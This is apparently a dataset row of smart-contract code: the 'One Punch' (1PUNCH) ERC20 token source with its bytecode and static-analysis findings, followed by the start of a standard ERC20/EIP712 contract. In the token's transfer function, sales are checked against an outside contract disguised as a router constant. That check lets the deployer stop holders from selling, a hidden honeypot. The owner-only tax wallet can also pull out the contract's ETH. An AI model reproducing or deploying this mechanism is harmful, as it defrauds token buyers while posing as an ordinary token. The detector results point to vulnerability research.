function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="1PUNCH";
string constant TOKEN_NAME="One Punch";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=0;
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract OnePunch is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102945780639e752b95146102c3578063a9059cbb146102e3578063dd62ed3e14610303578063f42938901461034957600080fd5b806356d9dce81461022257806370a0823114610237578063715018a6146102575780638da5cb5b1461026c57600080fd5b8063293230b8116100d1578063293230b8146101c5578063313ce567146101dc5780633e07ce5b146101f857806351bc3c851461020d57600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600981526809edcca40a0eadcc6d60bb1b60208201525b60405161014991906114eb565b60405180910390f35b34801561015e57600080fd5b5061017261016d366004611555565b61035e565b6040519015158152602001610149565b34801561018e57600080fd5b50610197610375565b604051908152602001610149565b3480156101b157600080fd5b506101726101c0366004611581565b610396565b3480156101d157600080fd5b506101da6103ff565b005b3480156101e857600080fd5b5060405160068152602001610149565b34801561020457600080fd5b506101da610777565b34801561021957600080fd5b506101da6107ad565b34801561022e57600080fd5b506101da6107da565b34801561024357600080fd5b506101976102523660046115c2565b61085b565b34801561026357600080fd5b506101da61087d565b34801561027857600080fd5b506000546040516001600160a01b039091168152602001610149565b3480156102a057600080fd5b50604080518082019091526006815265062a0aa9c86960d31b602082015261013c565b3480156102cf57600080fd5b506101da6102de3660046115df565b610921565b3480156102ef57600080fd5b506101726102fe366004611555565b61094a565b34801561030f57600080fd5b5061019761031e3660046115f8565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035557600080fd5b506101da610957565b600061036b3384846109c1565b5060015b92915050565b60006103836006600a61172b565b610391906305f5e10061173a565b905090565b60006103a3848484610ae5565b6103f584336103f0856040518060600160405280602881526020016118b8602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e17565b6109c1565b5060019392505050565b6009546001600160a01b0316331461041657600080fd5b600c54600160a01b900460ff16156104755760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a19030906001600160a01b03166104936006600a61172b565b6103f0906305f5e10061173a565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105189190611759565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059e9190611759565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060f9190611759565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061063f8161085b565b6000806106546000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106bc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e19190611776565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610750573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077491906117a4565b50565b6009546001600160a01b0316331461078e57600080fd5b61079a6006600a61172b565b6107a8906305f5e10061173a565b600a55565b6009546001600160a01b031633146107c457600080fd5b60006107cf3061085b565b905061077481610e51565b6009546001600160a01b031633146107f157600080fd5b600c54600160a01b900460ff1661084a5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046c565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036f90610fcb565b6000546001600160a01b031633146108d75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093857600080fd5b6009811061094557600080fd5b600855565b600061036b338484610ae5565b6009546001600160a01b0316331461096e57600080fd5b4761077481611048565b60006109ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611086565b9392505050565b6001600160a01b038316610a235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046c565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046c565b6001600160a01b038216610bab5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046c565b60008111610c0d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046c565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8091906117c6565b600c546001600160a01b038481169116148015610cab5750600b546001600160a01b03858116911614155b610cb6576000610cb8565b815b1115610cc357600080fd5b6000546001600160a01b03848116911614801590610cef57506000546001600160a01b03838116911614155b15610e0757600c546001600160a01b038481169116148015610d1f5750600b546001600160a01b03838116911614155b8015610d4457506001600160a01b03821660009081526004602052604090205460ff16155b15610d9a57600a548110610d9a5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046c565b6000610da53061085b565b600c54909150600160a81b900460ff16158015610dd05750600c546001600160a01b03858116911614155b8015610de55750600c54600160b01b900460ff165b15610e0557610df381610e51565b478015610e0357610e0347611048565b505b505b610e128383836110b4565b505050565b60008184841115610e3b5760405162461bcd60e51b815260040161046c91906114eb565b506000610e4884866117df565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e9957610e996117f6565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f169190611759565b81600181518110610f2957610f296117f6565b6001600160a01b039283166020918202929092010152600b54610f4f91309116846109c1565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f8890859060009086903090429060040161180c565b600060405180830381600087803b158015610fa257600080fd5b505af1158015610fb6573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110325760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046c565b600061103c6110bf565b90506109ba8382610978565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611082573d6000803e3d6000fd5b5050565b600081836110a75760405162461bcd60e51b815260040161046c91906114eb565b506000610e48848661187d565b610e128383836110e2565b60008060006110cc6111d9565b90925090506110db8282610978565b9250505090565b6000806000806000806110f48761125b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061112690876112b8565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115590866112fa565b6001600160a01b03891660009081526002602052604090205561117781611359565b61118184836113a3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111c691815260200190565b60405180910390a3505050505050505050565b6005546000908190816111ee6006600a61172b565b6111fc906305f5e10061173a565b905061122461120d6006600a61172b565b61121b906305f5e10061173a565b60055490610978565b8210156112525760055461123a6006600a61172b565b611248906305f5e10061173a565b9350935050509091565b90939092509050565b60008060008060008060008060006112788a6007546008546113c7565b92509250925060006112886110bf565b9050600080600061129b8e87878761141c565b919e509c509a509598509396509194505050505091939550919395565b60006109ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e17565b600080611307838561189f565b9050838110156109ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046c565b60006113636110bf565b90506000611371838361146c565b3060009081526002602052604090205490915061138e90826112fa565b30600090815260026020526040902055505050565b6005546113b090836112b8565b6005556006546113c090826112fa565b6006555050565b60008080806113e160646113db898961146c565b90610978565b905060006113f460646113db8a8961146c565b9050600061140c826114068b866112b8565b906112b8565b9992985090965090945050505050565b600080808061142b888661146c565b90506000611439888761146c565b90506000611447888861146c565b905060006114598261140686866112b8565b939b939a50919850919650505050505050565b60008261147b5750600061036f565b6000611487838561173a565b905082611494858361187d565b146109ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046c565b600060208083528351808285015260005b81811015611518578581018301518582016040015282016114fc565b8181111561152a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077457600080fd5b6000806040838503121561156857600080fd5b823561157381611540565b946020939093013593505050565b60008060006060848603121561159657600080fd5b83356115a181611540565b925060208401356115b181611540565b929592945050506040919091013590565b6000602082840312156115d457600080fd5b81356109ba81611540565b6000602082840312156115f157600080fd5b5035919050565b6000806040838503121561160b57600080fd5b823561161681611540565b9150602083013561162681611540565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168257816000190482111561166857611668611631565b8085161561167557918102915b93841c939080029061164c565b509250929050565b6000826116995750600161036f565b816116a65750600061036f565b81600181146116bc57600281146116c6576116e2565b600191505061036f565b60ff8411156116d7576116d7611631565b50506001821b61036f565b5060208310610133831016604e8410600b8410161715611705575081810a61036f565b61170f8383611647565b806000190482111561172357611723611631565b029392505050565b60006109ba60ff84168361168a565b600081600019048311821515161561175457611754611631565b500290565b60006020828403121561176b57600080fd5b81516109ba81611540565b60008060006060848603121561178b57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117b657600080fd5b815180151581146109ba57600080fd5b6000602082840312156117d857600080fd5b5051919050565b6000828210156117f1576117f1611631565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561185c5784516001600160a01b031683529383019391830191600101611837565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261189a57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118b2576118b2611631565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c20175d78dd99f9da1495effad32305331bee1698b890b5ad951069381d09ee864736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,952 |
0x54005bec43d8ffd2ec92edeceff7d952693294cd
|
/**
*Submitted for verification at Etherscan.io on 2022-01-03
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IERC20Permit {
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function nonces(address owner) external view returns (uint256);
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
library Counters {
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return;
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
abstract contract EIP712 {
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
address private immutable _CACHED_THIS;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_CACHED_THIS = address(this);
_TYPE_HASH = typeHash;
}
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
